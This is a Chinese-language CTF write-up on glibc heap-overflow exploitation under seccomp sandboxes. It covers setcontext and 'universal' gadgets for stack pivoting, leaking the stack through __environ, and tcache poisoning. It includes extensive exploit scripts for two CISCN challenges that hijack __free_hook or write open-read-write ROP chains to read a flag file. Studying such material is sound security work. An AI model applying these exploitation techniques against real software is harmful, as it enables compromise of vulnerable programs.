PWN堆溢出技巧:ORW的解题手法与万金油Gadgets

前言

在做堆题的时候基本上都会结合沙箱去出了,不再是单一的getshell了,感觉出的越来越卷了,本文将介绍一下堆溢出的一些ORW做法

思路

低版本

Glibc2.29以前的 ORW解题思路已经比较清晰了,主要是劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains,查看setcontext函数发现,在修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行截图中最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

利用方法的话就是利用我们熟悉的free_hook还有__malloc_hook,就像我们平时利用这两个hook写og getshell的时候。我们一般来利用setcontext都是利用free_hook进行调用因为free的参数是堆块,而malloc的参数是数字,这样的话使用free来的更快。

高版本

但在 Glibc 2.29之后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD        mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

但如果搜索过相应gadgets的同学应该有感受, 很难找到能够直接控制rdx寄存器的gadgets,这时候就需要常备一些 万金油gadgets,具体的gadgets在下文结合题目解法一同介绍

解法1 Gadget+setcontext

解法一和上文介绍的思路完全相同

这其中用到的 gadgetgetkeyserv_handle+576,其汇编如下

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29到2.35都可用

控制 rdx之后,我们就可以通过 setcontext来控制其他寄存器了

解法2 – gadget+栈迁移

解法1思路很清晰,但又要控制 rdx又要构造 setcontext,很麻烦,在这里介绍另一种解法,通过 gadget控制rbp的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的rop链,从而获取flag

先介绍一下万金油的gadget svcudp_reply+26,汇编如下

1
2
3
4
5
6
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移

从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag

解法3 – 通过environ泄露栈地址,并在栈上构造orw rop链

在解法二当中我们是通过gadgets进行栈迁移,将原本的栈地址劫持到了堆上,但如果 栈地址已知的话,解题过程会更加简单,而且不需要特意去寻找万金油的gadgets

那么如何泄露栈地址呢?

其实程序的栈地址会存放在 __environ中,我们只要输出__environ的内容就能获取栈地址

在获取到栈地址后,我在main函数的 ret处下一个断点,发现main函数返回值和我们泄露的栈地址正好相差 0x100

img

之后的思路就比较清晰了,我们依旧通过 tcache poison的方式,将堆块申请到main函数返回的位置,布置 orw ropchain,之后通过 退出功能将程序控制流指向布置好的 ropchain,最后输出flag

例题

低版本

题目:ciscn_2021_silverwolf

环境:ubuntu18.04

glibc版本:Ubuntu GLIBC 2.27-3ubuntu1.3

这里由于我没有这个题的文件,于是只是根据网上的资料看了一下思路

利用思路

利用df泄露heap地址,再利用df将堆块申请到控制head,将其分配至unsortedbin中,然后show泄露libc地址。之后修改tcache的堆指针劫持freehook,还有其他大小堆块布置好相应堆块,利用setcontext进行调用执行orw

leak_heap_libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
###############leak_heap
add(0x30)
delete()
edit("a"*0x10)
delete()
show()
heap = u64(ru("\n").ljust(8, b"\x00"))
heap_base = heap-0x1920
print("heap base: ", hex(heap_base))
#########hijack_tcache_head
head = heap_base+0x10
add(0x30)
edit(p64(head))
add(0x30)
add(0x30)
#############leak_libc
str = p64(0)*4+p64(0x00000000ff000000)
edit(str)
delete()
show()
libc = u64(ru("\n").ljust(8, b"\x00"))
libc_base = libc-0x70-libc.sym["__malloc_hook"]
setcontext = libc_base+libc.sym["setcontext"]+53
free_hook = libc_base+libc.sym["__free_hook"]
print("libc base: ", hex(libc_base))
print("setcontext_53: ", hex(setcontext))
print("free_hook: ", hex(free_hook))

构造orw

没啥说的,就是构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
flag_addr = heap_base+0x2000

pop_rax_ret = base+0x000000000001ced0
pop_rdi_ret = base+0x000000000002144f
pop_rsi_ret = base+0x0000000000021e22
pop_rdx_ret = base+0x0000000000001b96
read = base+libc.sym["read"]
write = base+libc.sym["write"]
syscall = read_f+0xf#程序中找不到open,就利用系统调用

orw = p64(pop_rdi_ret)+p64(flag_addr)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(pop_rax_ret)+p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret)+p64(3)
orw += p64(pop_rsi_ret)+p64(flag_addr)
orw += p64(pop_rdx_ret)+p64(0x30)
orw += p64(read_f)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(pop_rsi_ret)+p64(flag_addr)
orw += p64(pop_rdx_ret)+p64(0x30)
orw += p64(write_f)

根据setcontext进行构造

tcache_head

在进行布置的时候为了更好的去利用,官方的wp中hijack了tcache_perthread_struct,那么我们就看一下tcache_perthread_struct的结构:

1
2
3
4
5
6
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//数组长度64,每个元素最大为0x7,仅占用一个字节(对应64个tcache链表)
tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组(对应64个tcache链表,cache bin中最大为0x400字节
//每一个指针指向的是对应tcache_entry结构体的地址。
} tcache_perthread_struct;

我们看到上面的结构体里面,在counts之后存在tcache链的指针,指向每一个大小的tcache链的下一个堆块的fd。也就是意味着我们只要劫持了这里的指针我们就能实现任意地址分配堆块。这里的布置利用的就是这个结构体中的指针。

布置

在布置的时候我们可以选择一个堆块为参数,就是以这个堆块的地址作为rdi,布置数据要根据此参数作为索引。

首先我们要先把堆块分配到tcache_entry的位置

1
2
3
4
5
6
7
add(0x48)
edit(p64(0)*9)
for i in range(5):
add(0x10)
add(0x18)
edit(p64(heap_base+0x50))#修改tcache的fd指针到tcache_entry
add(0x38)#申请到tcache_entry

剩下的就是对tcache_entry中的指针进行布置了

1
2
3
4
5
6
7
8
9
orw_addr = heap_base+0x1000#挑个纯净的环境放置orw链

payload = p64(free_hook)#这里是0x20大小堆块的下一个堆块的指针,意味着我们再申请一个0x20大小的堆块就分配到了free_hook
payload += p64(heap_base+0x2000)#这里是0x30大小堆块的下一个堆块的指针,这是作为rdi的堆块
payload += p64(heap_base+0x20A0)#rdi+0xa0这里布置的应该是需要劫持的栈地址
payload += p64(heap_base+0x2000)#0x50
payload += p64(orw_addr+0x60) + p64(orw_addr)#0x60和0x70放我们的prw链,因为比较长所以需要放两个堆块
payload += p64(0)
edit(payload)#写入

下面就是着手要实施了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x10)
edit(p64(setcontext))#劫持free_hook修改为free_hook

add(0x20)
edit("./flag\x00")#作为filename

add(0x30)
pl = p64(orw_addr) + p64(pop_rdi_ret+1)#用来控制rsp
edit(pl)

add(0x60)
edit(orw[:0x60])
add(0x50)
edit(orw[0x60:])#布置上orw链

delete()#触发

高版本

题目:ciscn_2024_ezheap

环境:ubuntu22.04

glibc版本:Ubuntu GLIBC 2.35-0ubuntu3.7

利用思路-解法3

这里只能用解法3,因为libc版本为2.35,那两个万能gadget都不能用

题目存在edit的堆溢出,于是利用edit的堆溢出去进行泄露libc地址,由于malloc时候清除了chunk的数据,于是只能通过溢出去泄露libc地址,其实程序的栈地址会存放在 __environ中,我们只要输出__environ的内容就能获取栈地址,然后利用 tcache poison去泄露栈的地址。最后还是利用 tcache poison去往栈上写ORW的ROP链

leak_heap_libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
add(0x200,"A"*0x20)  #0
add(0x500,"A"*0x20) #1
add(0x200,"A"*0x20) #2
add(0x200,"A"*0x20) #3
add(0x200,"A"*0x20) #4
add(0x200,"A"*0x20) #5
delte(1) #1
edit(0,0x300,"B"*(0x210))
show(0)
libc_base = u64(io.recvuntil("We",drop=True)[-6:].ljust(8, b"\x00"))-0x21ACE0
mprotect_addr = libc.sym['mprotect']+libc_base
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
puts_addr = libc_base+libc.sym['puts']
free_hook = libc_base +libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61
IO_2_1_stdout = libc_base+libc.symbols['_IO_2_1_stdout_']

li("libc_base ------------------> 0x%x"%libc_base)
edit(0,0x300,b"A"*(0x208)+p64(0x511))
add(0x500,"BBB") #1



delte(5)
edit(4,0x300,"C"*(0x210))
show(4)
ru(b"C"*(0x210))
heap_base = (u64(io.recv(5).ljust(8,b'\x00')) << 12)-0x3000
li("heap_base ------------------> 0x%x"%heap_base)
edit(4,0x300,b"A"*(0x208)+p64(0x211))

泄露stack地址

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x50,"D"*0x20) #6
target_addr = libc_base+libc.symbols['_environ']
li("target_addr ------------------> 0x%x"%target_addr)
edit(6,0x500,b'a'*0x50+p64(0)+p64(0x31)+p64((target_addr-0x20) ^ ((heap_base) >> 12)))


add(0x20,"a")#7
add(0x20,"a"*0x20)#8
show(8)
ru("a"*0x20)
stack_addr = uu64()
li("stack_addr = "+hex(stack_addr))

构造ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

db()
delte(0) #0
delte(4) #4
payload = b'a'*0x200+p64(0)+p64(0x211)+p64((stack_addr - 0x178) ^ ((heap_base+0x2000) >> 12))
edit(3,0x500,payload)
add(0x200,"a") #0



pop_rdi_ret = libc_base+0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51+libc_base

pop_rdx_ret = 0x0000000000170337+libc_base
pop_rax_ret = 0x0000000000045eb0+libc_base
syscall_ret = libc_base+0x0000000000091316
flag_addr = stack_addr - 0x178

payload = b'./flag\x00'.ljust(8,b'\x00')+p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall_ret)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(0)+p64(syscall_ret)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(1)+p64(syscall_ret)


add(0x200,payload)#4